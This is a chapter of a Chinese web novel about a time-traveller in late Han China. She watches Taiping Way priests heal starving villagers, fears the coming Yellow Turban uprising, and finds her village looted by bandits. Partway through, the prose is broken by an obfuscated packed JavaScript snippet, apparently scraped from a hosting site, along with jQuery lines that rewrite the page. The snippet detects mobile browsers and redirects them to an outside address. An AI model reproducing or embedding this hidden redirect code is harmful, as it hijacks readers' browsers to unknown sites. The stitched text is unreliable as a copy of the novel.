2. 第 2 章
作品:《人在三国,以理服人》 事了拂衣去,深藏功与名。
讲理值到手,见好就收。孙墨不再出声,只是好奇地听着围观群众自发找补。总体来说,倘若喝下符水病好了,是因为符水有效;病没好,那一定是因为心不诚,不信道。
总之,符水一定是有效的。
所以,这大概是个安慰剂作用?就类似医生开维c却谎称特效药一样?孙墨逐渐琢磨出味道来。
有些患者本身没什么事,却硬是觉得自己有病。在强烈的心理作用下,愣是把自己“想象”病了,俗称吓病的。这时,开些安慰剂,往往能起到不错的效果。
但是就凭安慰剂,张角能聚集数十万信众?
孙墨想不通。
但是没过多久,孙墨就明白了。她看见施符水的道长坐了下来,开始替人把脉。
中间还时不时让打下手的弟子,端出一碗碗稀粥,叫病人喝下。
不收钱的那种。
病人脸色肉眼可见的变好许多。
大多数都是饿病的。
这时围观群众都安静了下来,认真地看着太平道道长治病。
“看,他好了,他好了!”一孩童兴奋的吆喝起来。
“嘘,别吵着道长。”旁边的大人立即捂了孩子的嘴。
孙墨本想大肆宣扬一番安慰剂效应、破除迷信并顺带挣点讲理值的,但看到这番场景,默默住了嘴。
道理不道理的,还重要吗?
百姓只知道太平道的道长,给他们稀粥,替他们治病。对他们来说,道长就是道理;道长说的,就是对的。
回去之后,孙墨迫不及待点开系统面板:
【工兵铲开刃服务购买成功。】
【宿主是要开左边,还是开右边?】
【商品只说了开刃服务,并没有说只能开一边,】孙墨试图捋羊毛,【所以我的要求是,一转圈都开。】
【……】系统沉默了,似乎在思考孙墨的说法。
好像有点道理,但是……
【开一圈,那还是把铲子吗?】那还能铲土吗?
【怎么不是?】见有希望,孙墨再接再厉,【谁规定铲子一定要铲土了?开了刃,再换个长点的木柄,不就是一把枪了吗?】
系统构造了一下这把“枪”的使用画面,只觉得有些辣眼睛:【你确定?】
孙墨重重点头。
【……工兵铲已开刃,消耗讲理值一点。】咱只是个系统,宿主要怎么做,咱就怎么做。
孙墨看着瞬间开刃的工兵铲,大喜:【统子你真给力!】
【当然。】
然后就见她话头一转,睁着无邪的双眼,询问:【刚才我说的,算和你讲道理吗?】
系统愣住,然后颇为震惊:【什么时候讨价还价也算讲道理了?】
【这怎么是讨价还价?这是据理力争、以理服人、苦口婆心……】
系统大为震撼,看孙墨长篇作文滔滔不绝的架势,落荒而逃:
【宿主获得一讲理值,备注:下不为例。】
孙墨美滋滋。
正巧听得张嫂喊自己:“子白,孙大找你!”
孙大是村里唯一的猎户,之前孙墨打死的花豹,就是拜托他去卖钱。这时听到孙大找自己,孙墨下意识问道:“孙大哥找我,莫非是花豹卖了出去?”
孙大点了点头:“一只花豹约莫能得三千五百钱,但这张豹皮颇为完整,因此多卖了两百钱。”言罢,便递出了银钱。
孙墨取了三千五百钱,笑道:“多谢大哥帮忙,剩下的还请大哥拿着。”
孙大也不推辞,收了钱,然后就聊起了在村头治病施粥的太平道:“道长真善人,若不是我有妻儿老小,早就变卖家产,追随大贤良师去了。”
对此,孙墨只得报以礼貌的微笑。
然后看在他帮自己卖了豹子的份上,委婉建议:“大贤良师虽有神异,但你我之根本,还在于家宅田地。”好好种地,别想些有的没的。
孙大听到,不乐意了:“种地种地,赋税一交,就全给了官吏!”
“那也不能加入太平道……”
孙墨话未说完,就见孙大关上了门,凑近悄声说道:“孙君是个有见识的,可曾听坊间有歌谣传唱,‘苍天已死,黄天当立,岁在甲子,天下大吉’。”
“明年,可就是甲子年了。”孙大的目光充满期翼,“会不会大旱终于要结束了?”
明年就是甲子年?孙墨感到自己的心在“咚咚”直跳,强作镇定道:“歌谣如此,该是有大事发生。”
送走了孙大,孙墨坐立不安。
开什么玩笑?黄巾起义就在明年?
“生民百余一,念之人断肠。”
是黄巾正式拉开了东汉乱世的序幕。这之后,诸侯相互征伐、百姓流离失所,人口硬生生的从五千多万掉到了不足一千万。
什么争霸什么封侯拜相,此时的孙墨满脑子只有苟命。
“首先要住在城内,”孙墨下定了主意,“至少在黄巾军攻来的时候,有城墙阻挡。不像城外,一点保护阻挡都没有,只能任由军队肆虐。”
没错,肆虐。有俗语道“匪过如梳,兵过如蓖”,现在征战,流行的是占领一处,就让士卒抢劫一处。以此奖励士卒,提振士气。
并且没有人认为不对。
至于被抢的百姓如何,无人在意。
还有坚壁清野。
所谓坚壁,就是加强防御防御工事,而清野,是指把城外的粮食物资全部集中到城内,不让敌人获取。
那问题来了,哪里的粮食、哪里的物资?
还不是住在城外的百姓的。
所以清野的具体操作是,把城外百姓的财产全部打包进城内,至于是怎么打包的、百姓愿不愿意,
还有打包后了去哪,都是一概不论的。
可以说,被清野的百姓,仗打输了,十有八九是流民;仗打赢了,也不一定不是流民。
所以乱世中,城外百姓几乎约等于流民预备役。
孙墨当然不愿意成为流民,所以隔天就带着剩下的银钱,去了旁边的县城,石邑县。
孙墨没想到,这一去,让自己正好避开了山匪。
下河村,进匪了。
匪头,褚飞燕。
褚飞燕原名褚燕,不知是何原因落了草,带着一伙少壮在山里躲藏,时不时下山劫掠。因为身手敏捷,被伙伴称为“飞燕”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044918|162675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
褚飞燕带着三十来人进了村子,村民还没反应过来,一伙人就蜂拥而上,三四人一队,踹开周围屋门,冲进去翻钱抢粮。
“滚开!”
原来是一村民见家里唯一的一袋麦子就要被抢走,不管不顾冲上前去,死命争抢。却被旁边看护的壮汉狠狠一脚,踹开老远,倒地呻吟不起。
“当家的!”躲在屋内的女子见了,顿时大哭起来,却不敢阻止这群歹徒。
“山匪进村了!山匪进村了!”
离的远些的村民呼喝起来,听见的村民愣神之后,都立即回家锁上了门:“山匪来了,山匪来了!”
“狗日的,才拿了这么点。”抢完第一轮,褚飞燕一抹脸,恶狠狠骂道,“来几个守在这,其余的,跟我走。”
言罢,便一马当先,提刀进村。
“开门!”一众悍匪一边踹门,一边大声嚷道:“开门饶你们一命,否则破了门,一个不留!”
“让开,看老子的。”只见一人拎着把大斧,抡圆了就往木门上砸去,“哐哐”两下,门就破了个大洞。
“兄弟们,走着——”
最后一斧下去,门栓彻底报废,轻轻一推,就大大敞开。
领头人龇牙一笑,充满了浓浓恶意:“躲啊?”
孙墨找房子意外得顺利,恰巧看见一主人家贴张告示、售卖院子。院子不大,有三间单房,两明一暗,足够居住,只是偏僻了些,但胜在清静。孙墨相当满意,一番讨价还价之后,最后以五千钱成交,先交三千钱定金,后续两千钱补完,交接地契。
堪称光速。
终于有了属于自己的落脚之处,孙墨很开心,回村脚步轻快。但等走到了村口,心中就咯噔一下。
眼中见到的是残破的木门,耳中听到的是断续的哭喊。
“这粮都没了,要怎么过啊?”
“儿啊,儿啊……”
被劫掠了?
孙墨快步回到张勇家,只见张嫂一边流眼泪,一边将地上零散的麦粒捡拾起来。
张勇默默的站在一般,牵着小宝,似乎丧失了全部的力气。
“张哥、张嫂?”
听见孙墨声音,张勇失神的双眼亮起,似乎看到了救星:“子白——”
话音未落,外面就传来呼喝:“村老召集我们去宗祠——”
孙墨和张勇到时,人已经聚集了不少,家家的壮丁几乎都来了。
“怎么办?粮食都被抢了,这日子可怎么过啊?”
“报官吧,官府一定会管的。”
“官府会管?前几个月隔壁村也遭了山匪,也没听说官府剿匪了。”
“那还能怎么办?难不成我们自己剿匪?”
“……”沉默代表着默认。
“你疯了?”孙大难以置信的瞪大眼睛:“就凭我们这些人?”
“要不还是报官吧?”
村老听着村民的争吵,想出口的话语还是终究没说出来。
报官有用的话,我们还会在这商讨吗?
官府剿匪的话,村子还会被劫掠吗?
这世道,早知有这么一天那。
村老叹了口气,然后敲了下桌子:“明天,随我一起报官。”